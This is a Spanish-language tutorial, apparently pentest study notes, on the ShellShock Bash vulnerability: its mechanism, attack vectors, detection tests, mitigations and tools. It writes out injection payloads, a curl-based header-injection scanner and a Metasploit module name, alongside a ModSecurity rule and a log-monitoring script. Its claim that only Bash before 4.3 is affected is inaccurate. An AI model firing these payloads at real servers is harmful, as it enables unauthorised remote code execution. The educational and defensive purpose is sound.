ShellShock es una vulnerabilidad de seguridad crítica que afecta a GNU Bash, permitiendo la ejecución remota de código arbitrario a través de variables de entorno malformadas. Fue descubierta en septiembre de 2014 y afecta a millones de sistemas Unix/Linux.
ShellShock es una vulnerabilidad en GNU Bash que permite a atacantes ejecutar comandos arbitrarios mediante la manipulación de variables de entorno. La vulnerabilidad reside en la forma en que Bash procesa las definiciones de funciones almacenadas en variables de entorno.
Características principales:
CVE: CVE-2014-6271 (y variantes relacionadas)
Severidad: Crítica (CVSS 10.0)
Afectados: Sistemas Unix/Linux con Bash vulnerable
Descubierta: Septiembre de 2014
Versiones afectadas: Bash anteriores a la versión 4.3
Indicador común
Como menciona tu nota: “Normalmente, si encuentro un /cgi-bin/ puede ser factible testear un ShellShock y buscar archivos con extensiones .pl, .sh, .cgi”
graph TD
A[Variables de Entorno] --> B[Bash Vulnerable]
B --> C{Procesamiento de Funciones}
C -->|Función válida| D[Ejecución Normal]
C -->|Función maliciosa| E[Ejecución de Código Arbitrario]
E --> F[Compromiso del Sistema]
style E fill:#ffcdd2,stroke:#d32f2f
style F fill:#ffcdd2,stroke:#d32f2f
⚙️ Mecanismo del Ataque
Funcionamiento técnico:
Definición de función maliciosa: El atacante envía una variable de entorno que contiene una definición de función seguida de comandos adicionales
Procesamiento por Bash: Bash procesa la variable e interpreta tanto la función como los comandos adicionales
Ejecución no autorizada: Los comandos adicionales se ejecutan inmediatamente
Estructura del payload:
# Formato del payload malicioso() { :; }; comando_malicioso# Explicación:# () { :; } -> Definición de función vacía válida# ; -> Separador de comandos# comando_malicioso -> Comando que se ejecutará
Ejemplo básico
# Variable de entorno maliciosaexport VAR='() { :; }; echo "Sistema comprometido" > /tmp/shellshock_test'# Cuando Bash procesa esta variable, ejecuta el comando echobash -c "echo \$VAR"
🎯 Vectores de Explotación
1. Scripts CGI (Más común)
Los scripts CGI son el vector más común debido a que las cabeceras HTTP se convierten en variables de entorno.
sequenceDiagram
participant A as Atacante
participant W as Servidor Web
participant C as Script CGI
participant B as Bash
A->>W: Request HTTP con cabecera maliciosa
W->>C: Invoca script CGI
C->>B: Carga variables de entorno
B->>B: Procesa función maliciosa
B->>C: Ejecuta comando
C->>W: Respuesta con resultado
W->>A: Respuesta HTTP
2. Servicios SSH
# Através de ForceCommand en SSHssh user@target '() { :; }; comando_malicioso'
3. Servicios DHCP
# A través de opciones DHCP maliciosasdhcp-option-force=114,'() { :; }; comando_malicioso'
4. Otros servicios que usan Bash
Qmail: Procesamiento de correos
Servicios de red: Que ejecutan scripts Bash
Aplicaciones web: Que llaman a Bash indirectamente
🔍 Detección y Verificación
Test básico de vulnerabilidad:
# Test simple para verificar si Bash es vulnerableenv 'x=() { :;}; echo vulnerable' bash -c "echo test"# Si el sistema es vulnerable, verás:# vulnerable# test# Si no es vulnerable, solo verás:# test
Test más específico:
# Test que crea un archivo temporalenv 'x=() { :;}; echo vulnerable > /tmp/shellshock_test' bash -c "echo test"# Verificar si el archivo fue creadoif [ -f /tmp/shellshock_test ]; then echo "Sistema VULNERABLE a ShellShock" rm /tmp/shellshock_testelse echo "Sistema NO vulnerable"fi
Ejecución remota de código: Sin autenticación previa
Escalada de privilegios: Si el servicio corre como root
Compromiso de datos: Acceso a archivos confidenciales
Persistencia: Instalación de backdoors
Movimiento lateral: Acceso a otros sistemas en la red
graph LR
A[ShellShock Inicial] --> B[Ejecución de Código]
B --> C[Reconocimiento]
C --> D[Escalada de Privilegios]
D --> E[Persistencia]
E --> F[Movimiento Lateral]
F --> G[Exfiltración de Datos]
style A fill:#ffeb3b,stroke:#f57c00
style G fill:#ffcdd2,stroke:#d32f2f
🛡️ Medidas de Mitigación
1. Actualización inmediata
# Verificar versión actual de Bashbash --version# Actualizar en sistemas Debian/Ubuntusudo apt-get updatesudo apt-get install bash# Actualizar en sistemas Red Hat/CentOSsudo yum update bash# Verificar que la vulnerabilidad fue parcheadaenv 'x=() { :;}; echo vulnerable' bash -c "echo test"
2. Configuraciones de seguridad
# Deshabilitar CGI si no es necesario# En Apachesudo a2dismod cgisudo systemctl restart apache2# En Nginx, remover configuraciones CGI# Comentar o eliminar bloques location ~* \.cgi$
3. Implementar WAF (Web Application Firewall)
# Regla ModSecurity para detectar ShellShockSecRule REQUEST_HEADERS "@detectShellShock" \ "id:1001,\ phase:1,\ block,\ msg:'ShellShock Attack Detected',\ logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}'"
4. Monitoreo y detección
# Script de monitoreo para intentos de ShellShock#!/bin/bash# shellshock_monitor.shLOG_FILE="/var/log/apache2/access.log"ALERT_FILE="/var/log/shellshock_alerts.log"tail -f "$LOG_FILE" | while read line; do if echo "$line" | grep -q "() { :; }"; then echo "$(date): Posible ataque ShellShock detectado: $line" >> "$ALERT_FILE" # Enviar alerta (correo, SIEM, etc.) echo "ALERTA: Intento de ShellShock desde $(echo $line | awk '{print $1}')" fidone
🛠️ Herramientas y Scripts
Script de verificación automatizada:
#!/bin/bash# shellshock_scanner.shecho "=== ShellShock Vulnerability Scanner ==="echo# Test localecho "[+] Testing local Bash..."result=$(env 'x=() { :;}; echo vulnerable' bash -c "echo test" 2>/dev/null)if echo "$result" | grep -q "vulnerable"; then echo "[-] Local Bash is VULNERABLE"else echo "[+] Local Bash appears patched"fiecho# Test de servicios webif [ "$1" ]; then echo "[+] Testing web service: $1" # Test con diferentes cabeceras headers=("User-Agent" "Referer" "Cookie" "X-Forwarded-For") for header in "${headers[@]}"; do echo " Testing with $header header..." response=$(curl -s -H "$header: () { :; }; echo; echo ShellShocked" "$1" 2>/dev/null) if echo "$response" | grep -q "ShellShocked"; then echo " [-] VULNERABLE via $header header!" fi doneelse echo "Usage: $0 <target_url>" echo "Example: $0 http://example.com/cgi-bin/test.cgi"fi
Herramientas especializadas:
Herramienta
Descripción
Uso
Nikto
Escáner web con detección ShellShock
nikto -h http://target.com
Nmap
Scripts NSE para ShellShock
nmap --script http-shellshock target
Metasploit
Módulos de explotación
use exploit/multi/http/apache_mod_cgi_bash_env_exec
Burp Suite
Plugin de detección
Extensión “ShellShock Scanner”
📊 Línea de tiempo de la vulnerabilidad
timeline
title Historia de ShellShock
2014-09-12 : Descubrimiento inicial
2014-09-24 : Publicación pública (CVE-2014-6271)
2014-09-25 : Primeros exploits en the wild
2014-09-26 : Variantes adicionales descubiertas
2014-10-01 : Parches estables disponibles
2014-10-15 : Campañas masivas de explotación